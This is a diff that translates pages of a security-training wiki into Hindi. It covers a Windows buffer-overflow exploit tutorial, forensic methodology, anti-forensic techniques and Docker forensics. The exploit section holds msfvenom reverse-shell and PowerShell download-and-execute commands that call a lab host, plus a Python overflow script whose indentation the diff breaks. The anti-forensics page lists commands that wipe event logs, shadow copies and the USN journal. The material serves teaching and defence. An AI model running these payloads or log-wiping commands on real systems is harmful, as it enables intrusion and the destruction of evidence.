-## Create shellcode +**इस मामले में, उदाहरण के लिए: \_0x5f4a358f**\_ +## शेलकोड बनाएं ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' ``` +यदि एक्सप्लॉइट काम नहीं कर रहा है लेकिन इसे काम करना चाहिए (आप ImDebg के साथ देख सकते हैं कि शेलकोड पहुंच गया है), तो अन्य शेलकोड बनाने की कोशिश करें (msfvenom के साथ समान पैरामीटर के लिए विभिन्न शेलकोड बनाएं)। -If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters). - -**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit: - +**शेलकोड की शुरुआत में कुछ NOPS जोड़ें** और इसका उपयोग करें और रिटर्न एड्रेस को JMP ESP करने के लिए, और एक्सप्लॉइट को समाप्त करें: ```bash #!/usr/bin/python @@ -236,26 +215,23 @@ shellcode = ( buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` - > [!WARNING] -> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode +> कुछ शेलकोड हैं जो **अपने आप को ओवरराइट** कर देंगे, इसलिए हमेशा शेलकोड से पहले कुछ NOPs जोड़ना महत्वपूर्ण है -## Improving the shellcode - -Add this parameters: +## शेलकोड में सुधार +इन पैरामीटर को जोड़ें: ``` EXITFUNC=thread -e x86/shikata_ga_nai ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/README.md b/src/forensics/basic-forensic-methodology/README.md index e725dfa85..6eca65385 100644 --- a/src/forensics/basic-forensic-methodology/README.md +++ b/src/forensics/basic-forensic-methodology/README.md @@ -1,30 +1,30 @@ -# Basic Forensic Methodology +# बेसिक फॉरेंसिक मेथोडोलॉजी {{#include ../../banners/hacktricks-training.md}} -## Creating and Mounting an Image +## इमेज बनाना और माउंट करना {{#ref}} ../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md {{#endref}} -## Malware Analysis +## मैलवेयर विश्लेषण -This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**: +यह **छवि प्राप्त करने के बाद करने के लिए पहला कदम जरूरी नहीं है**। लेकिन आप इस मैलवेयर विश्लेषण तकनीकों का स्वतंत्र रूप से उपयोग कर सकते हैं यदि आपके पास एक फ़ाइल, एक फ़ाइल-प्रणाली छवि, मेमोरी छवि, pcap... है, इसलिए यह **इन क्रियाओं को ध्यान में रखना अच्छा है**: {{#ref}} malware-analysis.md {{#endref}} -## Inspecting an Image +## इमेज का निरीक्षण करना -if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in: +यदि आपको एक **फॉरेंसिक इमेज** दी गई है, तो आप **पार्टीशनों, फ़ाइल-प्रणाली** का विश्लेषण करना शुरू कर सकते हैं और **संभावित रूप से** **दिलचस्प फ़ाइलों** (यहां तक कि हटाई गई फ़ाइलों) को **पुनर्प्राप्त** कर सकते हैं। जानें कैसे: {{#ref}} partitions-file-systems-carving/ {{#endref}} -Depending on the used OSs and even platform different interesting artifacts should be searched: +उपयोग किए गए OSs और यहां तक कि प्लेटफ़ॉर्म के आधार पर विभिन्न दिलचस्प कलाकृतियों की खोज की जानी चाहिए: {{#ref}} windows-forensics/ @@ -38,42 +38,42 @@ linux-forensics.md docker-forensics.md {{#endref}} -## Deep inspection of specific file-types and Software +## विशिष्ट फ़ाइल-प्रकारों और सॉफ़्टवेयर की गहरी जांच -If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\ -Read the following page to learn some interesting tricks: +यदि आपके पास बहुत **संदिग्ध** **फ़ाइल** है, तो **फ़ाइल-प्रकार और सॉफ़्टवेयर** के आधार पर जो इसे बनाया है, कई **तरकीबें** उपयोगी हो सकती हैं।\ +कुछ दिलचस्प तरकीबें जानने के लिए निम्नलिखित पृष्ठ पढ़ें: {{#ref}} specific-software-file-type-tricks/ {{#endref}} -I want to do a special mention to the page: +मैं पृष्ठ का विशेष उल्लेख करना चाहता हूं: {{#ref}} specific-software-file-type-tricks/browser-artifacts.md {{#endref}} -## Memory Dump Inspection +## मेमोरी डंप निरीक्षण {{#ref}} memory-dump-analysis/ {{#endref}} -## Pcap Inspection +## Pcap निरीक्षण {{#ref}} pcap-inspection/ {{#endref}} -## **Anti-Forensic Techniques** +## **एंटी-फॉरेंसिक तकनीकें** -Keep in mind the possible use of anti-forensic techniques: +एंटी-फॉरेंसिक तकनीकों के संभावित उपयोग को ध्यान में रखें: {{#ref}} anti-forensic-techniques.md {{#endref}} -## Threat Hunting +## खतरे की खोज {{#ref}} file-integrity-monitoring.md diff --git a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md index 615ede378..153b8c27e 100644 --- a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,159 +1,151 @@ {{#include ../../banners/hacktricks-training.md}} -
+# टाइमस्टैम्प -{% embed url="https://websec.nl/" %} +एक हमलावर **फाइलों के टाइमस्टैम्प को बदलने** में रुचि रख सकता है ताकि उसे पकड़ा न जा सके।\ +MFT के अंदर `$STANDARD_INFORMATION` ** और ** `$FILE_NAME` में टाइमस्टैम्प मिलना संभव है। -# Timestamps +दोनों विशेषताओं में 4 टाइमस्टैम्प होते हैं: **संशोधन**, **पहुँच**, **निर्माण**, और **MFT रजिस्ट्रि संशोधन** (MACE या MACB)। -An attacker may be interested in **changing the timestamps of files** to avoid being detected.\ -It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` ** and ** `$FILE_NAME`. +**Windows explorer** और अन्य उपकरण **`$STANDARD_INFORMATION`** से जानकारी दिखाते हैं। -Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB). +## TimeStomp - एंटी-फॉरेंसिक टूल -**Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**. - -## TimeStomp - Anti-forensic Tool - -This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**. +यह उपकरण **`$STANDARD_INFORMATION`** के अंदर टाइमस्टैम्प जानकारी को **संशोधित** करता है **लेकिन** **`$FILE_NAME`** के अंदर की जानकारी को **नहीं**। इसलिए, **संदिग्ध** **गतिविधि** को **पहचानना** संभव है। ## Usnjrnl -The **USN Journal** (Update Sequence Number Journal) is a feature of the NTFS (Windows NT file system) that keeps track of volume changes. The [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) tool allows for the examination of these changes. +**USN जर्नल** (अपडेट अनुक्रम संख्या जर्नल) NTFS (Windows NT फ़ाइल प्रणाली) की एक विशेषता है जो वॉल्यूम परिवर्तनों का ट्रैक रखती है। [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) उपकरण इन परिवर्तनों की जांच करने की अनुमति देता है। ![](<../../images/image (449).png>) -The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file. +पिछली छवि **उपकरण** द्वारा दिखाया गया **आउटपुट** है जहाँ देखा जा सकता है कि कुछ **परिवर्तन किए गए** थे। ## $LogFile -**All metadata changes to a file system are logged** in a process known as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). The logged metadata is kept in a file named `**$LogFile**`, located in the root directory of an NTFS file system. Tools such as [LogFileParser](https://github.com/jschicht/LogFileParser) can be used to parse this file and identify changes. +**फाइल सिस्टम में सभी मेटाडेटा परिवर्तनों को लॉग किया जाता है** जिसे [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging) के रूप में जाना जाता है। लॉग की गई मेटाडेटा एक फ़ाइल में रखी जाती है जिसका नाम `**$LogFile**` है, जो NTFS फ़ाइल प्रणाली के रूट निर्देशिका में स्थित है। [LogFileParser](https://github.com/jschicht/LogFileParser) जैसे उपकरण का उपयोग इस फ़ाइल को पार्स करने और परिवर्तनों की पहचान करने के लिए किया जा सकता है। ![](<../../images/image (450).png>) -Again, in the output of the tool it's possible to see that **some changes were performed**. +फिर से, उपकरण के आउटपुट में यह देखना संभव है कि **कुछ परिवर्तन किए गए** थे। -Using the same tool it's possible to identify to **which time the timestamps were modified**: +उसी उपकरण का उपयोग करके यह पहचानना संभव है कि **कब टाइमस्टैम्प संशोधित किए गए** थे: ![](<../../images/image (451).png>) -- CTIME: File's creation time -- ATIME: File's modification time -- MTIME: File's MFT registry modification -- RTIME: File's access time +- CTIME: फ़ाइल का निर्माण समय +- ATIME: फ़ाइल का संशोधन समय +- MTIME: फ़ाइल का MFT रजिस्ट्रि संशोधन +- RTIME: फ़ाइल का पहुँच समय -## `$STANDARD_INFORMATION` and `$FILE_NAME` comparison +## `$STANDARD_INFORMATION` और `$FILE_NAME` तुलना -Another way to identify suspicious modified files would be to compare the time on both attributes looking for **mismatches**. +संदिग्ध संशोधित फ़ाइलों की पहचान करने का एक और तरीका दोनों विशेषताओं पर समय की तुलना करना है और **असंगतियों** की तलाश करना है। -## Nanoseconds +## नैनोसेकंड -**NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**. +**NTFS** टाइमस्टैम्प की **सटीकता** **100 नैनोसेकंड** है। इसलिए, 2010-10-10 10:10:**00.000:0000 जैसे टाइमस्टैम्प वाली फ़ाइलें **बहुत संदिग्ध** हैं। -## SetMace - Anti-forensic Tool +## SetMace - एंटी-फॉरेंसिक टूल -This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME`. However, from Windows Vista, it's necessary for a live OS to modify this information. +यह उपकरण दोनों विशेषताओं `$STARNDAR_INFORMATION` और `$FILE_NAME` को संशोधित कर सकता है। हालाँकि, Windows Vista से, इस जानकारी को संशोधित करने के लिए एक लाइव OS की आवश्यकता होती है। -# Data Hiding +# डेटा छिपाना -NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the file is deleted. Then, it's possible to **hide data in this slack space**. +NFTS एक क्लस्टर और न्यूनतम जानकारी के आकार का उपयोग करता है। इसका मतलब है कि यदि एक फ़ाइल एक और आधे क्लस्टर का उपयोग करती है, तो **बचा हुआ आधा कभी उपयोग नहीं होगा** जब तक फ़ाइल को हटाया नहीं जाता। फिर, इस **स्लैक स्पेस** में डेटा को **छिपाना** संभव है। -There are tools like slacker that allow hiding data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added: +ऐसे उपकरण हैं जैसे slacker जो इस "छिपे हुए" स्थान में डेटा छिपाने की अनुमति देते हैं। हालाँकि, `$logfile` और `$usnjrnl` का विश्लेषण दिखा सकता है कि कुछ डेटा जोड़ा गया था: ![](<../../images/image (452).png>) -Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this kind of tool can save the content obfuscated or even encrypted. +फिर, FTK Imager जैसे उपकरणों का उपयोग करके स्लैक स्पेस को पुनर्प्राप्त करना संभव है। ध्यान दें कि इस प्रकार के उपकरण सामग्री को ओब्स्क्यूरेट या यहां तक कि एन्क्रिप्टेड रूप में सहेज सकते हैं। # UsbKill -This is a tool that will **turn off the computer if any change in the USB** ports is detected.\ -A way to discover this would be to inspect the running processes and **review each python script running**. +यह एक उपकरण है जो **USB** पोर्ट में किसी भी परिवर्तन का पता लगाने पर कंप्यूटर को **बंद** कर देगा।\ +इसका पता लगाने का एक तरीका चल रहे प्रक्रियाओं की जांच करना और **प्रत्येक चल रहे पायथन स्क्रिप्ट की समीक्षा करना** है। -# Live Linux Distributions +# लाइव लिनक्स वितरण -These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion. +ये डिस्ट्रीब्यूशन **RAM** मेमोरी के अंदर **चलाए जाते हैं**। इन्हें केवल तभी पहचानना संभव है जब **NTFS फ़ाइल सिस्टम को लिखने की अनुमति के साथ माउंट किया गया हो**। यदि इसे केवल पढ़ने की अनुमति के साथ माउंट किया गया है, तो घुसपैठ का पता लगाना संभव नहीं होगा। -# Secure Deletion +# सुरक्षित विलोपन [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) -# Windows Configuration +# Windows कॉन्फ़िगरेशन -It's possible to disable several windows logging methods to make the forensics investigation much harder. +फॉरेंसिक जांच को बहुत कठिन बनाने के लिए कई Windows लॉगिंग विधियों को अक्षम करना संभव है। -## Disable Timestamps - UserAssist +## टाइमस्टैम्प अक्षम करें - UserAssist -This is a registry key that maintains dates and hours when each executable was run by the user. +यह एक रजिस्ट्री कुंजी है जो उपयोगकर्ता द्वारा चलाए गए प्रत्येक निष्पादन योग्य के लिए दिनांक और समय बनाए रखती है। -Disabling UserAssist requires two steps: +UserAssist को अक्षम करने के लिए दो चरणों की आवश्यकता होती है: -1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled. -2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. +1. दो रजिस्ट्री कुंजी सेट करें, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` और `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, दोनों को शून्य पर सेट करें ताकि संकेत मिले कि हम UserAssist को अक्षम करना चाहते हैं। +2. अपने रजिस्ट्री उप-ट्री को साफ करें जो `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\` की तरह दिखते हैं। -## Disable Timestamps - Prefetch +## टाइमस्टैम्प अक्षम करें - Prefetch -This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices. +यह उन अनुप्रयोगों के बारे में जानकारी सहेजता है जो Windows सिस्टम के प्रदर्शन में सुधार के लक्ष्य के साथ चलाए जाते हैं। हालाँकि, यह फॉरेंसिक प्रथाओं के लिए भी उपयोगी हो सकता है। -- Execute `regedit` -- Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` -- Right-click on both `EnablePrefetcher` and `EnableSuperfetch` -- Select Modify on each of these to change the value from 1 (or 3) to 0 -- Restart +- `regedit` चलाएँ +- फ़ाइल पथ का चयन करें `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` +- `EnablePrefetcher` और `EnableSuperfetch` पर राइट-क्लिक करें +- प्रत्येक पर संशोधित करें ताकि मान 1 (या 3) से 0 में बदल जाए +- पुनरारंभ करें -## Disable Timestamps - Last Access Time +## टाइमस्टैम्प अक्षम करें - अंतिम पहुँच समय -Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance. +जब भी एक फ़ोल्डर NTFS वॉल्यूम से Windows NT सर्वर पर खोला जाता है, तो सिस्टम प्रत्येक सूचीबद्ध फ़ोल्डर पर **एक टाइमस्टैम्प फ़ील्ड को अपडेट करने के लिए समय लेता है**, जिसे अंतिम पहुँच समय कहा जाता है। एक भारी उपयोग किए गए NTFS वॉल्यूम पर, यह प्रदर्शन को प्रभावित कर सकता है। -1. Open the Registry Editor (Regedit.exe). -2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. -3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process. -4. Close the Registry Editor, and reboot the server. +1. रजिस्ट्री संपादक (Regedit.exe) खोलें। +2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem` पर जाएँ। +3. `NtfsDisableLastAccessUpdate` की तलाश करें। यदि यह मौजूद नहीं है, तो इस DWORD को जोड़ें और इसका मान 1 पर सेट करें, जो प्रक्रिया को अक्षम कर देगा। +4. रजिस्ट्री संपादक को बंद करें, और सर्वर को पुनरारंभ करें। -## Delete USB History +## USB इतिहास हटाएँ -All the **USB Device Entries** are stored in Windows Registry Under the **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device into your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\ -You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) to be sure you have deleted them (and to delete them). +सभी **USB डिवाइस प्रविष्टियाँ** Windows रजिस्ट्री में **USBSTOR** रजिस्ट्री कुंजी के तहत संग्रहीत होती हैं जिसमें उप कुंजियाँ होती हैं जो तब बनाई जाती हैं जब आप अपने पीसी या लैपटॉप में USB डिवाइस लगाते हैं। आप इस कुंजी को यहाँ पा सकते हैं `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`। **इसे हटाने से** आप USB इतिहास को हटा देंगे।\ +आप यह सुनिश्चित करने के लिए [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) उपकरण का भी उपयोग कर सकते हैं कि आपने उन्हें हटा दिया है (और उन्हें हटाने के लिए)। -Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted. +एक और फ़ाइल जो USB के बारे में जानकारी सहेजती है वह है फ़ाइल `setupapi.dev.log` जो `C:\Windows\INF` के अंदर है। इसे भी हटाया जाना चाहिए। -## Disable Shadow Copies +## शैडो कॉपीज़ अक्षम करें -**List** shadow copies with `vssadmin list shadowstorage`\ -**Delete** them running `vssadmin delete shadow` +**शैडो कॉपीज़** की सूची बनाएं `vssadmin list shadowstorage`\ +**उन्हें हटाएँ** `vssadmin delete shadow` चलाकर -You can also delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) +आप GUI के माध्यम से भी उन्हें हटा सकते हैं [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) में प्रस्तावित चरणों का पालन करके। -To disable shadow copies [steps from here](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): +शैडो कॉपीज़ को अक्षम करने के लिए [यहाँ से चरण](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): -1. Open the Services program by typing "services" into the text search box after clicking the Windows start button. -2. From the list, find "Volume Shadow Copy", select it, and then access Properties by right-clicking. -3. Choose Disabled from the "Startup type" drop-down menu, and then confirm the change by clicking Apply and OK. +1. Windows स्टार्ट बटन पर क्लिक करने के बाद टेक्स्ट सर्च बॉक्स में "services" टाइप करके सेवाएँ प्रोग्राम खोलें। +2. सूची में "Volume Shadow Copy" खोजें, इसे चुनें, और फिर राइट-क्लिक करके प्रॉपर्टीज़ पर जाएँ। +3. "Startup type" ड्रॉप-डाउन मेनू से Disabled चुनें, और फिर Apply और OK पर क्लिक करके परिवर्तन की पुष्टि करें। -It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` +यह भी संभव है कि रजिस्ट्री `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` में उन फ़ाइलों की कॉन्फ़िगरेशन को संशोधित किया जाए जिन्हें शैडो कॉपी में कॉपी किया जाएगा। -## Overwrite deleted files +## हटाई गई फ़ाइलों को ओवरराइट करें -- You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive. -- You can also use tools like [**Eraser**](https://eraser.heidi.ie) +- आप एक **Windows उपकरण** का उपयोग कर सकते हैं: `cipher /w:C` यह संकेत देगा कि सिफर C ड्राइव के अंदर उपलब्ध अप्रयुक्त डिस्क स्थान से किसी भी डेटा को हटा दे। +- आप [**Eraser**](https://eraser.heidi.ie) जैसे उपकरणों का भी उपयोग कर सकते हैं। -## Delete Windows event logs +## Windows इवेंट लॉग हटाएँ -- Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log" +- Windows + R --> eventvwr.msc --> "Windows Logs" का विस्तार करें --> प्रत्येक श्रेणी पर राइट-क्लिक करें और "Clear Log" चुनें - `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` - `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` -## Disable Windows event logs +## Windows इवेंट लॉग अक्षम करें - `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -- Inside the services section disable the service "Windows Event Log" -- `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl` +- सेवाओं के अनुभाग के अंदर "Windows Event Log" सेवा को अक्षम करें +- `WEvtUtil.exec clear-log` या `WEvtUtil.exe cl` -## Disable $UsnJrnl +## $UsnJrnl अक्षम करें - `fsutil usn deletejournal /d c:` -
- -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/docker-forensics.md b/src/forensics/basic-forensic-methodology/docker-forensics.md index 629251985..1bd5682bd 100644 --- a/src/forensics/basic-forensic-methodology/docker-forensics.md +++ b/src/forensics/basic-forensic-methodology/docker-forensics.md @@ -2,24 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} ## Container modification -There are suspicions that some docker container was compromised: - +कुछ डॉकर कंटेनर के समझौता होने के संदेह हैं: ```bash docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress ``` - -You can easily **find the modifications done to this container with regards to the image** with: - +आप आसानी से **इस कंटेनर में छवि के संबंध में किए गए संशोधनों को ढूंढ सकते हैं**: ```bash docker diff wordpress C /var @@ -33,70 +25,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI A /var/lib/mysql/mysql/general_log.CSV ... ``` - -In the previous command **C** means **Changed** and **A,** **Added**.\ -If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with: - +पिछले कमांड में **C** का मतलब **बदला हुआ** और **A,** **जोड़ा गया** है।\ +यदि आप पाते हैं कि कोई दिलचस्प फ़ाइल जैसे `/etc/shadow` को संशोधित किया गया है, तो आप इसे कंटेनर से डाउनलोड कर सकते हैं ताकि आप दुर्भावनापूर्ण गतिविधि की जांच कर सकें: ```bash docker cp wordpress:/etc/shadow. ``` - -You can also **compare it with the original one** running a new container and extracting the file from it: - +आप इसे **मूल के साथ तुलना कर सकते हैं** एक नया कंटेनर चलाकर और उससे फ़ाइल निकालकर: ```bash docker run -d lamp-wordpress docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container diff original_shadow shadow ``` - -If you find that **some suspicious file was added** you can access the container and check it: - +यदि आप पाते हैं कि **कुछ संदिग्ध फ़ाइल जोड़ी गई है** तो आप कंटेनर में जा सकते हैं और इसे जांच सकते हैं: ```bash docker exec -it wordpress bash ``` - ## Images modifications -When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**: - +जब आपको एक निर्यातित डॉकर इमेज (संभवतः `.tar` प्रारूप में) दी जाती है, तो आप [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) का उपयोग करके **संशोधनों का एक सारांश निकाल सकते हैं**: ```bash docker save > image.tar #Export the image to a .tar file container-diff analyze -t sizelayer image.tar container-diff analyze -t history image.tar container-diff analyze -t metadata image.tar ``` - -Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history: - +फिर, आप **डिकंप्रेस** कर सकते हैं इमेज को और **ब्लॉब्स** तक पहुँच सकते हैं ताकि संदिग्ध फ़ाइलों की खोज कर सकें जो आपने परिवर्तनों के इतिहास में पाई हो सकती हैं: ```bash tar -xf image.tar ``` - ### Basic Analysis -You can get **basic information** from the image running: - +आप छवि से **बुनियादी जानकारी** प्राप्त कर सकते हैं: ```bash docker inspect ``` - -You can also get a summary **history of changes** with: - +आप **परिवर्तनों का इतिहास** का सारांश भी प्राप्त कर सकते हैं: ```bash docker history --no-trunc ``` - -You can also generate a **dockerfile from an image** with: - +आप एक **इमेज से dockerfile** भी उत्पन्न कर सकते हैं: ```bash alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> ``` - ### Dive -In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility: - +docker छवियों में जोड़े गए/संशोधित फ़ाइलों को खोजने के लिए आप [**dive**](https://github.com/wagoodman/dive) (इसे [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0) से डाउनलोड करें) उपयोगिता का भी उपयोग कर सकते हैं: ```bash #First you need to load the image in your docker repo sudo docker load < image.tar 1 ⨯ @@ -105,27 +79,18 @@ Loaded image: flask:latest #And then open it with dive: sudo dive flask:latest ``` +यह आपको **docker छवियों के विभिन्न ब्लॉब्स के माध्यम से नेविगेट करने** और यह जांचने की अनुमति देता है कि कौन से फ़ाइलें संशोधित/जोड़ी गई थीं। **लाल** का मतलब जोड़ा गया है और **पीला** का मतलब संशोधित है। **tab** का उपयोग करके अन्य दृश्य पर जाएं और फ़ोल्डरों को संकुचित/खोलने के लिए **space** का उपयोग करें। -This allows you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to collapse/open folders. - -With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\ -You can decompress all the layers from an image from the directory where the image was decompressed executing: - +die के साथ आप छवि के विभिन्न चरणों की सामग्री तक पहुँच नहीं पाएंगे। ऐसा करने के लिए, आपको **प्रत्येक परत को डिकंप्रेस करना और उस तक पहुँच बनानी होगी**।\ +आप उस निर्देशिका से छवि की सभी परतों को डिकंप्रेस कर सकते हैं जहाँ छवि को डिकंप्रेस किया गया था: ```bash tar -xf image.tar for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done ``` +## मेमोरी से क्रेडेंशियल्स -## Credentials from memory +ध्यान दें कि जब आप एक होस्ट के अंदर एक docker कंटेनर चलाते हैं **तो आप होस्ट से कंटेनर पर चल रहे प्रक्रियाओं को देख सकते हैं** बस `ps -ef` चलाकर। -Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef` - -Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-hardening/privilege-escalation/#process-memory). - -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} +इसलिए (रूट के रूप में) आप **होस्ट से प्रक्रियाओं की मेमोरी डंप कर सकते हैं** और **क्रेडेंशियल्स** के लिए खोज कर सकते हैं बस [**निम्नलिखित उदाहरण की तरह**](../../linux-hardening/privilege-escalation/#process-memory)। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md index 214b917cf..5a82387e2 100644 --- a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md +++ b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md @@ -2,17 +2,17 @@ # Baseline -A baseline consists of taking a snapshot of certain parts of a system to **compare it with a future status to highlight changes**. +एक बेसलाइन में सिस्टम के कुछ हिस्सों का स्नैपशॉट लेना शामिल होता है ताकि **भविष्य की स्थिति के साथ इसकी तुलना की जा सके और परिवर्तनों को उजागर किया जा सके**। -For example, you can calculate and store the hash of each file of the filesystem to be able to find out which files were modified.\ -This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all. +उदाहरण के लिए, आप फ़ाइल सिस्टम के प्रत्येक फ़ाइल का हैश निकाल सकते हैं और उसे स्टोर कर सकते हैं ताकि यह पता चल सके कि कौन सी फ़ाइलें संशोधित की गई 